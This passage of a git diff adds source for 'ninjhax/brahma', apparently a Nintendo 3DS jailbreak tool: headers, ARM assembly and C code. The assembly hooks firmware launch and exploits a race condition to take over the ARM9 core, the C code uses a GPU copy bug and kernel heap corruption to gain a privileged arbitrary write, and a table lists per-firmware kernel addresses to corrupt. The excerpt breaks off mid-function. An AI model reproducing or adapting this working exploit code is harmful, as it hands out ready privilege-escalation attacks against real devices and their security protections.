||||||
|
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
|
||||||
|
__bss_end__ = ABSOLUTE(.);
|
||||||
|
__end__ = ABSOLUTE(.);
|
||||||
|
} >ram
|
||||||
|
|
||||||
|
/* Stabs debugging sections. */
|
||||||
|
.stab 0 : { *(.stab) }
|
||||||
|
.stabstr 0 : { *(.stabstr) }
|
||||||
|
.stab.excl 0 : { *(.stab.excl) }
|
||||||
|
.stab.exclstr 0 : { *(.stab.exclstr) }
|
||||||
|
.stab.index 0 : { *(.stab.index) }
|
||||||
|
.stab.indexstr 0 : { *(.stab.indexstr) }
|
||||||
|
.comment 0 : { *(.comment) }
|
||||||
|
/* DWARF debug sections.
|
||||||
|
Symbols in the DWARF debugging sections are relative to the beginning
|
||||||
|
of the section so we begin them at 0. */
|
||||||
|
/* DWARF 1 */
|
||||||
|
.debug 0 : { *(.debug) }
|
||||||
|
.line 0 : { *(.line) }
|
||||||
|
/* GNU DWARF 1 extensions */
|
||||||
|
.debug_srcinfo 0 : { *(.debug_srcinfo) }
|
||||||
|
.debug_sfnames 0 : { *(.debug_sfnames) }
|
||||||
|
/* DWARF 1.1 and DWARF 2 */
|
||||||
|
.debug_aranges 0 : { *(.debug_aranges) }
|
||||||
|
.debug_pubnames 0 : { *(.debug_pubnames) }
|
||||||
|
/* DWARF 2 */
|
||||||
|
.debug_info 0 : { *(.debug_info) }
|
||||||
|
.debug_abbrev 0 : { *(.debug_abbrev) }
|
||||||
|
.debug_line 0 : { *(.debug_line) }
|
||||||
|
.debug_frame 0 : { *(.debug_frame) }
|
||||||
|
.debug_str 0 : { *(.debug_str) }
|
||||||
|
.debug_loc 0 : { *(.debug_loc) }
|
||||||
|
.debug_macinfo 0 : { *(.debug_macinfo) }
|
||||||
|
/* SGI/MIPS DWARF 2 extensions */
|
||||||
|
.debug_weaknames 0 : { *(.debug_weaknames) }
|
||||||
|
.debug_funcnames 0 : { *(.debug_funcnames) }
|
||||||
|
.debug_typenames 0 : { *(.debug_typenames) }
|
||||||
|
.debug_varnames 0 : { *(.debug_varnames) }
|
||||||
|
.stack 0x80000 : { _stack = .; *(.stack) }
|
||||||
|
/* These must appear regardless of . */
|
||||||
|
}
|
5
ninjhax/data/payload/stub.specs
Normal file
5
ninjhax/data/payload/stub.specs
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
%rename link old_link
|
||||||
|
|
||||||
|
*link:
|
||||||
|
%(old_link) -T ../stub.ld%s
|
||||||
|
|
BIN
ninjhax/data/payload/tools/Launcher.dat
Normal file
BIN
ninjhax/data/payload/tools/Launcher.dat
Normal file
Binary file not shown.
BIN
ninjhax/data/payload/tools/LauncherTemplate.dat
Normal file
BIN
ninjhax/data/payload/tools/LauncherTemplate.dat
Normal file
Binary file not shown.
BIN
ninjhax/data/payload/tools/fill_with_zero.exe
Normal file
BIN
ninjhax/data/payload/tools/fill_with_zero.exe
Normal file
Binary file not shown.
16
ninjhax/data/payload/tools/insert.py
Normal file
16
ninjhax/data/payload/tools/insert.py
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
import sys;
|
||||||
|
import os
|
||||||
|
|
||||||
|
f1 = 0
|
||||||
|
f2 = 0
|
||||||
|
f3 = 0
|
||||||
|
|
||||||
|
f1size = 0
|
||||||
|
|
||||||
|
with open(sys.argv[1], "rb+") as file1:
|
||||||
|
with open(sys.argv[2], "rb") as file2:
|
||||||
|
f1 = file1.read()
|
||||||
|
f2 = file2.read()
|
||||||
|
file1.seek(int(sys.argv[3], 16), os.SEEK_SET)
|
||||||
|
file1.write(f2);
|
||||||
|
|
BIN
ninjhax/icon.png
Normal file
BIN
ninjhax/icon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 6.1 KiB |
32
ninjhax/include/brahma.h
Normal file
32
ninjhax/include/brahma.h
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "exploitdata.h"
|
||||||
|
|
||||||
|
s32 load_arm9_payload (char *filename);
|
||||||
|
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
|
||||||
|
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
|
||||||
|
void do_gshax_copy (void *dst, void *src, u32 len);
|
||||||
|
void priv_write_four (u32 address);
|
||||||
|
void user_clear_icache (void);
|
||||||
|
s32 corrupt_svcCreateThread (void);
|
||||||
|
s32 map_arm9_payload (void);
|
||||||
|
s32 map_arm11_payload (void);
|
||||||
|
void exploit_arm9_race_condition (void);
|
||||||
|
void repair_svcCreateThread (void);
|
||||||
|
s32 get_exploit_data (struct exploit_data *data);
|
||||||
|
s32 firm_reboot ();
|
||||||
|
|
||||||
|
#define BRAHMA_NETWORK_PORT 80
|
||||||
|
|
||||||
|
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
|
||||||
|
#define ARM_RET 0xE12FFF1E // BX LR
|
||||||
|
#define ARM_NOP 0xE1A00000 // NOP
|
||||||
|
|
||||||
|
static u8 *g_ext_arm9_buf;
|
||||||
|
static u32 g_ext_arm9_size = 0;
|
||||||
|
static s32 g_ext_arm9_loaded = 0;
|
||||||
|
|
||||||
|
extern void *arm11_start;
|
||||||
|
extern void *arm11_end;
|
||||||
|
extern void *arm9_start;
|
||||||
|
extern void *arm9_end;
|
204
ninjhax/include/exploitdata.h
Normal file
204
ninjhax/include/exploitdata.h
Normal file
@ -0,0 +1,204 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define SYS_MODEL_NONE 0
|
||||||
|
#define SYS_MODEL_OLD_3DS 1
|
||||||
|
#define SYS_MODEL_NEW_3DS 2
|
||||||
|
|
||||||
|
#define PA_EXC_HANDLER_BASE 0x1FFF4000
|
||||||
|
#define PA_FCRAM_BASE 0x20000000
|
||||||
|
#define OFFS_FCRAM_MAPPED_FIRM 0x04000000
|
||||||
|
#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000
|
||||||
|
#define OFFS_EXC_HANDLER_UNUSED 0xC80
|
||||||
|
#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM
|
||||||
|
#error ERRROR: Invalid ARM9 payload offset
|
||||||
|
#endif
|
||||||
|
#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD)
|
||||||
|
|
||||||
|
/* any changes to this structure must also be applied to
|
||||||
|
the data structure following the 'arm11_globals_start'
|
||||||
|
label of arm11.s */
|
||||||
|
typedef struct arm11_shared_data {
|
||||||
|
u32 va_pdn_regs;
|
||||||
|
u32 va_pxi_regs;
|
||||||
|
u32 va_hook1_ret;
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct exploit_data {
|
||||||
|
|
||||||
|
u32 firm_version;
|
||||||
|
u32 sys_model; // mask
|
||||||
|
|
||||||
|
u32 va_patch_createthread;
|
||||||
|
u32 va_patch_hook1;
|
||||||
|
u32 va_patch_hook2;
|
||||||
|
u32 va_hook1_ret;
|
||||||
|
|
||||||
|
u32 va_fcram_base;
|
||||||
|
u32 va_exc_handler_base_W;
|
||||||
|
u32 va_exc_handler_base_X;
|
||||||
|
u32 va_kernelsetstate;
|
||||||
|
|
||||||
|
u32 va_pdn_regs;
|
||||||
|
u32 va_pxi_regs;
|
||||||
|
};
|
||||||
|
|
||||||
|
static struct exploit_data g_expdata;
|
||||||
|
static struct arm11_shared_data g_arm11shared;
|
||||||
|
|
||||||
|
// add all vulnerable systems below
|
||||||
|
static const struct exploit_data supported_systems[] = {
|
||||||
|
{
|
||||||
|
0x022E0000, // FIRM version
|
||||||
|
SYS_MODEL_NEW_3DS, // model
|
||||||
|
0xDFF83837, // VA of CreateThread code to corrupt
|
||||||
|
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||||
|
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||||
|
0xFFF28A58, // VA of return address from 1st hook
|
||||||
|
0xE0000000, // VA of FCRAM
|
||||||
|
0xDFFF4000, // VA of lower mapped exception handler base
|
||||||
|
0xFFFF0000, // VA of upper mapped exception handler base
|
||||||
|
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
||||||
|
0xFFFBE000, // VA PDN registers
|
||||||
|
0xFFFC0000 // VA PXI registers
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x022C0600, // FIRM version
|
||||||
|
SYS_MODEL_NEW_3DS, // model
|
||||||
|
0xDFF83837, // VA of CreateThread code to corrupt
|
||||||
|
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||||
|
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||||
|
0xFFF28A58, // VA of return address from 1st hook
|
||||||
|
0xE0000000, // VA of FCRAM
|
||||||
|
0xDFFF4000, // VA of lower mapped exception handler base
|
||||||
|
0xFFFF0000, // VA of upper mapped exception handler base
|
||||||
|
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
||||||
|
0xFFFBE000, // VA PDN registers
|
||||||
|
0xFFFC0000 // VA PXI registers
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x02220000,
|
||||||
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
|
0xEFF83C9F,
|
||||||
|
0xEFFE4DD4,
|
||||||
|
0xEFFF497C,
|
||||||
|
0xFFF84DDC,
|
||||||
|
0xF0000000,
|
||||||
|
0xEFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF748C4,
|
||||||
|
0xFFFD0000,
|
||||||
|
0xFFFD2000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x02230600,
|
||||||
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
|
0xEFF83737,
|
||||||
|
0xEFFE55BC,
|
||||||
|
0xEFFF4978,
|
||||||
|
0xFFF765C4,
|
||||||
|
0xF0000000,
|
||||||
|
0xEFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF64B94,
|
||||||
|
0xFFFD0000,
|
||||||
|
0xFFFD2000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x022E0000,
|
||||||
|
SYS_MODEL_OLD_3DS,
|
||||||
|
0xDFF8383F,
|
||||||
|
0xDFFE59D0,
|
||||||
|
0xDFFF4974,
|
||||||
|
0xFFF279D8,
|
||||||
|
0xE0000000,
|
||||||
|
0xDFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF151C0,
|
||||||
|
0xFFFC2000,
|
||||||
|
0xFFFC4000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x022C0600,
|
||||||
|
SYS_MODEL_OLD_3DS,
|
||||||
|
0xDFF8376F,
|
||||||
|
0xDFFE4F28,
|
||||||
|
0xDFFF4974,
|
||||||
|
0xFFF66F30,
|
||||||
|
0xE0000000,
|
||||||
|
0xDFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF54BAC,
|
||||||
|
0xFFFBE000,
|
||||||
|
0xFFFC0000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x02280000,
|
||||||
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
|
0xEFF83733,
|
||||||
|
0xEFFE5B30,
|
||||||
|
0xEFFF4974,
|
||||||
|
0xFFF76B38,
|
||||||
|
0xF0000000,
|
||||||
|
0xEFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF54BAC,
|
||||||
|
0xFFFD0000,
|
||||||
|
0xFFFD2000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x02270400,
|
||||||
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
|
0xEFF83737,
|
||||||
|
0xEFFE5B34,
|
||||||
|
0xEFFF4978,
|
||||||
|
0xFFF76B3C,
|
||||||
|
0xF0000000,
|
||||||
|
0xEFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF64AB0,
|
||||||
|
0xFFFD0000,
|
||||||
|
0xFFFD2000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x02250000,
|
||||||
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
|
0xEFF83733,
|
||||||
|
0xEFFE5AE8,
|
||||||
|
0xEFFF4978,
|
||||||
|
0xFFF76AF0,
|
||||||
|
0xF0000000,
|
||||||
|
0xEFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF64A78,
|
||||||
|
0xFFFD0000,
|
||||||
|
0xFFFD2000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x02260000,
|
||||||
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
|
0xEFF83733,
|
||||||
|
0xEFFE5AE8,
|
||||||
|
0xEFFF4978,
|
||||||
|
0xFFF76AF0,
|
||||||
|
0xF0000000,
|
||||||
|
0xEFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF64A78,
|
||||||
|
0xFFFD0000,
|
||||||
|
0xFFFD2000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
0x02240000,
|
||||||
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
|
0xEFF83733,
|
||||||
|
0xEFFE55B8,
|
||||||
|
0xEFFF4978,
|
||||||
|
0xFFF765C0,
|
||||||
|
0xF0000000,
|
||||||
|
0xEFFF4000,
|
||||||
|
0xFFFF0000,
|
||||||
|
0xFFF64B90,
|
||||||
|
0xFFFD0000,
|
||||||
|
0xFFFD2000
|
||||||
|
}
|
||||||
|
};
|
4
ninjhax/include/hid.h
Normal file
4
ninjhax/include/hid.h
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
u32 wait_key (void);
|
||||||
|
void wait_any_key (void);
|
42
ninjhax/include/menus.h
Normal file
42
ninjhax/include/menus.h
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "textmenu.h"
|
||||||
|
|
||||||
|
#define BRAHMADIR "/brahma/"
|
||||||
|
|
||||||
|
s32 print_menu (s32 idx, struct menu_t *menu);
|
||||||
|
s32 print_file_list (s32 idx, struct menu_t *menu);
|
||||||
|
s32 print_main_menu (s32 idx, struct menu_t *menu);
|
||||||
|
|
||||||
|
s32 get_filename (s32 idx, char *buf, u32 size);
|
||||||
|
|
||||||
|
s32 menu_cb_load (s32 idx, void *param);
|
||||||
|
s32 menu_cb_choose_file (s32 idx, void *param);
|
||||||
|
s32 menu_cb_run (s32 idx, void *param);
|
||||||
|
s32 menu_cb_recv (s32 idx, void *param);
|
||||||
|
s32 menu_cb_patch_svc (s32 idx, void *param);
|
||||||
|
|
||||||
|
static const struct menu_t g_main_menu = {
|
||||||
|
3,
|
||||||
|
{
|
||||||
|
{"Load ARM9 payload", &menu_cb_choose_file},
|
||||||
|
{"Receive ARM9 payload", &menu_cb_recv},
|
||||||
|
{"Run ARM9 payload", &menu_cb_run}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct menu_t g_file_list = {
|
||||||
|
10,
|
||||||
|
{
|
||||||
|
{"Slot 0", &menu_cb_load},
|
||||||
|
{"Slot 1", &menu_cb_load},
|
||||||
|
{"Slot 2", &menu_cb_load},
|
||||||
|
{"Slot 3", &menu_cb_load},
|
||||||
|
{"Slot 4", &menu_cb_load},
|
||||||
|
{"Slot 5", &menu_cb_load},
|
||||||
|
{"Slot 6", &menu_cb_load},
|
||||||
|
{"Slot 7", &menu_cb_load},
|
||||||
|
{"Slot 8", &menu_cb_load},
|
||||||
|
{"Slot 9", &menu_cb_load}
|
||||||
|
}
|
||||||
|
};
|
9
ninjhax/include/sochlp.h
Normal file
9
ninjhax/include/sochlp.h
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define SOC_ALIGN 0x1000
|
||||||
|
#define SOC_BUFFERSIZE 0x100000
|
||||||
|
|
||||||
|
u32 soc_init (void);
|
||||||
|
u32 soc_exit (void);
|
||||||
|
|
||||||
|
static u32 *SOC_buffer = 0;
|
20
ninjhax/include/textmenu.h
Normal file
20
ninjhax/include/textmenu.h
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
typedef int menu_func_t (s32, void *);
|
||||||
|
|
||||||
|
typedef struct menu_elem_t {
|
||||||
|
const char *name;
|
||||||
|
menu_func_t *func;
|
||||||
|
} _menu_elem_t;
|
||||||
|
|
||||||
|
typedef struct menu_t {
|
||||||
|
s32 element_count;
|
||||||
|
struct menu_elem_t element[];
|
||||||
|
} _menu_t;
|
||||||
|
|
||||||
|
s32 menu_get_element_count (struct menu_t *menu);
|
||||||
|
s32 menu_is_valid_index (s32 idx, struct menu_t *menu);
|
||||||
|
s32 menu_update_index (s32 idx, struct menu_t *menu);
|
||||||
|
const char *menu_get_element_name (s32 idx, struct menu_t *menu);
|
||||||
|
menu_func_t *menu_get_element_function (s32 idx, struct menu_t *menu);
|
||||||
|
s32 menu_execute_function (s32 idx, struct menu_t *menu, void *param);
|
4
ninjhax/include/utils.h
Normal file
4
ninjhax/include/utils.h
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
void InvalidateEntireInstructionCache (void);
|
||||||
|
void InvalidateEntireDataCache (void);
|
178
ninjhax/source/arm11.s
Normal file
178
ninjhax/source/arm11.s
Normal file
@ -0,0 +1,178 @@
|
|||||||
|
.arm
|
||||||
|
.align 4
|
||||||
|
.code 32
|
||||||
|
.text
|
||||||
|
|
||||||
|
.global arm11_start
|
||||||
|
arm11_start:
|
||||||
|
B hook1
|
||||||
|
B hook2
|
||||||
|
|
||||||
|
hook1:
|
||||||
|
STMFD SP!, {R0-R12,LR}
|
||||||
|
|
||||||
|
MOV R0, #1000
|
||||||
|
BL busy_spin
|
||||||
|
|
||||||
|
MOV R0, #0
|
||||||
|
BL pxi_send
|
||||||
|
|
||||||
|
BL pxi_sync
|
||||||
|
|
||||||
|
MOV R0, #0x10000
|
||||||
|
BL pxi_send
|
||||||
|
|
||||||
|
BL pxi_recv
|
||||||
|
BL pxi_recv
|
||||||
|
BL pxi_recv
|
||||||
|
|
||||||
|
MOV R0, #2
|
||||||
|
BL pdn_send
|
||||||
|
|
||||||
|
MOV R0, #16
|
||||||
|
BL busy_spin
|
||||||
|
|
||||||
|
MOV R0, #0
|
||||||
|
BL pdn_send
|
||||||
|
|
||||||
|
MOV R0, #16
|
||||||
|
BL busy_spin
|
||||||
|
|
||||||
|
LDMFD SP!, {R0-R12,LR}
|
||||||
|
|
||||||
|
LDR R0, var_44836
|
||||||
|
STR R0, [R1]
|
||||||
|
LDR PC, va_hook1_ret
|
||||||
|
|
||||||
|
var_44836: .long 0x44836
|
||||||
|
|
||||||
|
@ copy hijack_arm9 routine and execute
|
||||||
|
hook2:
|
||||||
|
ADR R0, hijack_arm9
|
||||||
|
ADR R1, hijack_arm9_end
|
||||||
|
LDR R2, pa_hijack_arm9_dst
|
||||||
|
MOV R4, R2
|
||||||
|
BL copy_mem
|
||||||
|
BX R4
|
||||||
|
|
||||||
|
@ exploits a race condition in order
|
||||||
|
@ to take control over the arm9 core
|
||||||
|
hijack_arm9:
|
||||||
|
@ init
|
||||||
|
LDR R0, pa_arm11_code
|
||||||
|
MOV R1, #0
|
||||||
|
STR R1, [R0]
|
||||||
|
|
||||||
|
@ load physical addresses
|
||||||
|
LDR R10, pa_firm_header
|
||||||
|
LDR R9, pa_arm9_payload
|
||||||
|
LDR R8, pa_io_mem
|
||||||
|
|
||||||
|
@ send pxi cmd 0x44846
|
||||||
|
LDR R1, pa_pxi_regs
|
||||||
|
LDR R2, some_pxi_cmd
|
||||||
|
STR R2, [R1, #8]
|
||||||
|
|
||||||
|
wait_arm9_loop:
|
||||||
|
LDRB R0, [R8]
|
||||||
|
ANDS R0, R0, #1
|
||||||
|
BNE wait_arm9_loop
|
||||||
|
|
||||||
|
@ get arm9 orig entry point phys addr from FIRM header
|
||||||
|
LDR R0, [R10, #0x0C]
|
||||||
|
|
||||||
|
@ backup orig entry point to FCRAM + offs ARM9 payload + 4
|
||||||
|
STR R0, [R9, #0x4]
|
||||||
|
|
||||||
|
@ overwrite orig entry point with FCRAM addr
|
||||||
|
@ this exploits the race condition bug
|
||||||
|
STR R9, [R10, #0x0C]
|
||||||
|
|
||||||
|
LDR R0, pa_arm11_code
|
||||||
|
wait_arm11_loop:
|
||||||
|
LDR R1, [r0]
|
||||||
|
CMP R1, #0
|
||||||
|
BEQ wait_arm11_loop
|
||||||
|
BX R1
|
||||||
|
|
||||||
|
pa_hijack_arm9_dst: .long 0x1FFFFC00
|
||||||
|
pa_arm11_code: .long 0x1FFFFFF8
|
||||||
|
pa_pxi_regs: .long 0x10163000
|
||||||
|
some_pxi_cmd: .long 0x44846
|
||||||
|
pa_firm_header: .long 0x24000000
|
||||||
|
pa_arm9_payload: .long 0x23F00000
|
||||||
|
pa_io_mem: .long 0x10140000
|
||||||
|
hijack_arm9_end:
|
||||||
|
|
||||||
|
copy_mem:
|
||||||
|
SUB R3, R1, R0
|
||||||
|
MOV R1, R3,ASR#2
|
||||||
|
CMP R1, #0
|
||||||
|
BLE locret_FFFF0AC0
|
||||||
|
MOVS R1, R3,LSL#29
|
||||||
|
SUB R0, R0, #4
|
||||||
|
SUB R1, R2, #4
|
||||||
|
BPL loc_FFFF0AA0
|
||||||
|
LDR R2, [R0,#4]!
|
||||||
|
STR R2, [R1,#4]!
|
||||||
|
loc_FFFF0AA0:
|
||||||
|
MOVS R2, R3,ASR#3
|
||||||
|
BEQ locret_FFFF0AC0
|
||||||
|
loc_FFFF0AA8:
|
||||||
|
LDR R3, [R0,#4]
|
||||||
|
SUBS R2, R2, #1
|
||||||
|
STR R3, [R1,#4]
|
||||||
|
LDR R3, [R0,#8]!
|
||||||
|
STR R3, [R1,#8]!
|
||||||
|
BNE loc_FFFF0AA8
|
||||||
|
locret_FFFF0AC0:
|
||||||
|
BX LR
|
||||||
|
|
||||||
|
busy_spin:
|
||||||
|
SUBS R0, R0, #2
|
||||||
|
NOP
|
||||||
|
BGT busy_spin
|
||||||
|
BX LR
|
||||||
|
|
||||||
|
pdn_send:
|
||||||
|
LDR R1, va_pdn_regs
|
||||||
|
STRB R0, [R1, #0x230]
|
||||||
|
BX LR
|
||||||
|
|
||||||
|
pxi_send:
|
||||||
|
LDR R1, va_pxi_regs
|
||||||
|
loc_1020D0:
|
||||||
|
LDRH R2, [R1,#4]
|
||||||
|
TST R2, #2
|
||||||
|
BNE loc_1020D0
|
||||||
|
STR R0, [R1,#8]
|
||||||
|
BX LR
|
||||||
|
|
||||||
|
pxi_recv:
|
||||||
|
LDR R0, va_pxi_regs
|
||||||
|
loc_1020FC:
|
||||||
|
LDRH R1, [R0,#4]
|
||||||
|
TST R1, #0x100
|
||||||
|
BNE loc_1020FC
|
||||||
|
LDR R0, [R0,#0xC]
|
||||||
|
BX LR
|
||||||
|
|
||||||
|
pxi_sync:
|
||||||
|
LDR R0, va_pxi_regs
|
||||||
|
LDRB R1, [R0,#3]
|
||||||
|
ORR R1, R1, #0x40
|
||||||
|
STRB R1, [R0,#3]
|
||||||
|
BX LR
|
||||||
|
|
||||||
|
.global arm11_end
|
||||||
|
arm11_end:
|
||||||
|
|
||||||
|
.global arm11_globals_start
|
||||||
|
arm11_globals_start:
|
||||||
|
|
||||||
|
va_pdn_regs: .long 0
|
||||||
|
va_pxi_regs: .long 0
|
||||||
|
va_hook1_ret: .long 0
|
||||||
|
|
||||||
|
.global arm11_globals_end
|
||||||
|
arm11_globals_end:
|
24
ninjhax/source/arm9.s
Normal file
24
ninjhax/source/arm9.s
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
.arm
|
||||||
|
.align 4
|
||||||
|
.code 32
|
||||||
|
.text
|
||||||
|
|
||||||
|
@ default ARM9 payload, simply launches FIRM (reboots without clearing mem)
|
||||||
|
.global arm9_start
|
||||||
|
arm9_start:
|
||||||
|
B skipvars
|
||||||
|
|
||||||
|
@ offs 4, will contain backup copy of FIRM ARM9
|
||||||
|
@ entry point so execution can be returned to FIRM
|
||||||
|
pa_arm9_entrypoint_backup: .long 0xFFFF0000
|
||||||
|
|
||||||
|
skipvars:
|
||||||
|
STMFD SP!, {R0-R12,LR}
|
||||||
|
|
||||||
|
@ insert your funky stuff here
|
||||||
|
LDMFD SP!, {R0-R12,LR}
|
||||||
|
|
||||||
|
LDR PC, pa_arm9_entrypoint_backup
|
||||||
|
|
||||||
|
.global arm9_end
|
||||||
|
arm9_end:
|
452
ninjhax/source/brahma.c
Normal file
452
ninjhax/source/brahma.c
Normal file
@ -0,0 +1,452 @@
|
|||||||
|
#include <3ds.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/_default_fcntl.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include "brahma.h"
|
||||||
|
#include "exploitdata.h"
|
||||||
|
|
||||||
|
|
||||||
|
/* should be the very first call. allocates heap buffer
|
||||||
|
for ARM9 payload */
|
||||||
|
u32 brahma_init (void) {
|
||||||
|
g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE);
|
||||||
|
return (g_ext_arm9_buf != 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* call upon exit */
|
||||||
|
u32 brahma_exit (void) {
|
||||||
|
if (g_ext_arm9_buf) {
|
||||||
|
free(g_ext_arm9_buf);
|
||||||
|
}
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* overwrites two instructions (8 bytes in total) at src_addr
|
||||||
|
with code that redirects execution to dst_addr */
|
||||||
|
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
|
||||||
|
*(src_addr + 1) = dst_addr;
|
||||||
|
*src_addr = ARM_JUMPOUT;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* exploits a bug that causes the GPU to copy memory
|
||||||
|
that otherwise would be inaccessible to code from
|
||||||
|
a non-privileged context */
|
||||||
|
void do_gshax_copy (void *dst, void *src, u32 len) {
|
||||||
|
u32 check_mem = linearMemAlign(0x10000, 0x40);
|
||||||
|
s32 i = 0;
|
||||||
|
|
||||||
|
for (i = 0; i < 16; ++i) {
|
||||||
|
GSPGPU_FlushDataCache (NULL, src, len);
|
||||||
|
GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8);
|
||||||
|
GSPGPU_FlushDataCache (NULL, check_mem, 16);
|
||||||
|
GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8);
|
||||||
|
}
|
||||||
|
HB_FlushInvalidateCache();
|
||||||
|
linearFree(check_mem);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* fills exploit_data structure with information that is specific
|
||||||
|
to 3DS model and firmware version
|
||||||
|
returns: 0 on failure, 1 on success */
|
||||||
|
s32 get_exploit_data (struct exploit_data *data) {
|
||||||
|
u32 fversion = 0;
|
||||||
|
u8 isN3DS = 0;
|
||||||
|
s32 i;
|
||||||
|
s32 result = 0;
|
||||||
|
u32 sysmodel = SYS_MODEL_NONE;
|
||||||
|
|
||||||
|
if(!data)
|
||||||
|
return result;
|
||||||
|
|
||||||
|
fversion = osGetFirmVersion();
|
||||||
|
APT_CheckNew3DS(NULL, &isN3DS);
|
||||||
|
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
|
||||||
|
|
||||||
|
/* copy platform and firmware dependent data */
|
||||||
|
for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
||||||
|
if (supported_systems[i].firm_version == fversion &&
|
||||||
|
supported_systems[i].sys_model & sysmodel) {
|
||||||
|
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
|
||||||
|
result = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* exploits a bug in order to cause the ARM11 kernel
|
||||||
|
to write a certain 32 bit value to 'address' */
|
||||||
|
void priv_write_four (u32 address) {
|
||||||
|
const u32 size_heap_cblk = 8 * sizeof(u32);
|
||||||
|
u32 addr_lin, addr_lin_o;
|
||||||
|
u32 dummy;
|
||||||
|
u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10);
|
||||||
|
u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10);
|
||||||
|
|
||||||
|
svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
|
||||||
|
addr_lin_o = addr_lin + 0x1000;
|
||||||
|
svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0);
|
||||||
|
|
||||||
|
// back up heap
|
||||||
|
do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk);
|
||||||
|
|
||||||
|
// set up a custom heap ctrl structure
|
||||||
|
cstm_heap[0] = 1;
|
||||||
|
cstm_heap[1] = address - 8;
|
||||||
|
cstm_heap[2] = 0;
|
||||||
|
cstm_heap[3] = 0;
|
||||||
|
|
||||||
|
// corrupt heap ctrl structure by overwriting it with our custom struct
|
||||||
|
do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32));
|
||||||
|
|
||||||
|
// Trigger write to 'address'
|
||||||
|
svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0);
|
||||||
|
|
